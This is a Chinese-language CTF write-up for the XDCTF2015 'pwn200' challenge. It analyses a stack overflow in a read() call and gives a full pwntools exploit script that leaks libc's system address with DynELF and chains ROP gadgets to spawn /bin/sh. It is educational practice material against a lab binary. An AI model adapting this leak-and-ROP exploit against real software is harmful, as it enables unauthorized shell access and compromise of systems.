0x00 代码分析
检查保护,只开启了NX
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA伪代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssize_t sub_8048484()
{
char buf; #[esp+1Ch] [ebp-6Ch]
setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}
int __cdecl main()
{
int buf; #[esp+2Ch] [ebp-6Ch]
int v2; #[esp+30h] [ebp-68h]
int v3; #[esp+34h] [ebp-64h]
int v4; #[esp+38h] [ebp-60h]
int v5; #[esp+3Ch] [ebp-5Ch]
int v6; #[esp+40h] [ebp-58h]
int v7; #[esp+44h] [ebp-54h]
buf = 1668048215;
v2 = 543518063;
v3 = 1478520692;
v4 = 1179927364;
v5 = 892416050;
v6 = 663934;
memset(&v7, 0, 0x4Cu);
setbuf(stdout, (char *)&buf);
write(1, &buf, strlen((const char *)&buf));
sub_8048484();
return 0;
}
汇编代码(关键函数sub_8048484)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:08048484 sub_8048484 proc near ; CODE XREF: main+A1↓p
.text:08048484
.text:08048484 buf = byte ptr -6Ch
.text:08048484
.text:08048484 ; __unwind {
.text:08048484 push ebp
.text:08048485 mov ebp, esp
.text:08048487 sub esp, 88h
.text:0804848D mov eax, ds:stdin
.text:08048492 lea edx, [ebp+buf]
.text:08048495 mov [esp+4], edx ; buf
.text:08048499 mov [esp], eax ; stream
.text:0804849C call _setbuf
.text:080484A1 mov dword ptr [esp+8], 100h ; nbytes
.text:080484A9 lea eax, [ebp+buf]
.text:080484AC mov [esp+4], eax ; buf
.text:080484B0 mov dword ptr [esp], 0 ; fd
.text:080484B7 call _read
.text:080484BC leave
.text:080484BD retn
.text:080484BD ; } #starts at 8048484
.text:080484BD sub_8048484 endp
明显sub_8048484()里read函数导致buf溢出
0x01 漏洞利用
该程序无cookie,存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了,只简要说一下借助DynELF实现利用的要点:
先用write函数Memleak出目标主机systemAddr(leak函数里面对接收数据的处理尤其重要),再将/bin/sh写入bss段,用三个pop ret ROP调用system函数拿下shell
0x02 脚本代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
context(os='linux', log_level='debug')
p = process("./pwn200")
elf = ELF("./pwn200")
writeplt = elf.symbols['write']
readplt = elf.symbols['read']
main_address =0x080484BE #调用main函数
bss_address =0x0804a020 #bss段,用来写入“/bin/sh\0”
def leak(address):
payload = "A" * 112
payload += p32(writeplt)
payload += p32(main_address)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data= p.recvuntil("XDCTF2015~!\n")
data=data.split('Welcome')[0]
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p.recvline()
dynelf = DynELF(leak, elf=ELF("./pwn200"))
systemAddress = dynelf.lookup("system", "libc")
print "systemAddress:=====", hex(systemAddress)
ppprAddress = 0x0804856c #连续3次pop的ROP
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bss_address)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(main_address) + p32(bss_address)
p.send(payload1)
p.send('/bin/sh\x00')
p.interactive()
0x03 总结
最开始我在leak函数里面,反复调用sub_8048484(),避免接收 “Welcome to XDCTF2015~!” 这个字符串,但是发现这样找到system地址返回后调用时可能堆栈出现了点问题,如果要这样用的话可以在找到地址后覆盖main函数以平衡栈空间,再进行下一步。更要善于观察栈空间结构。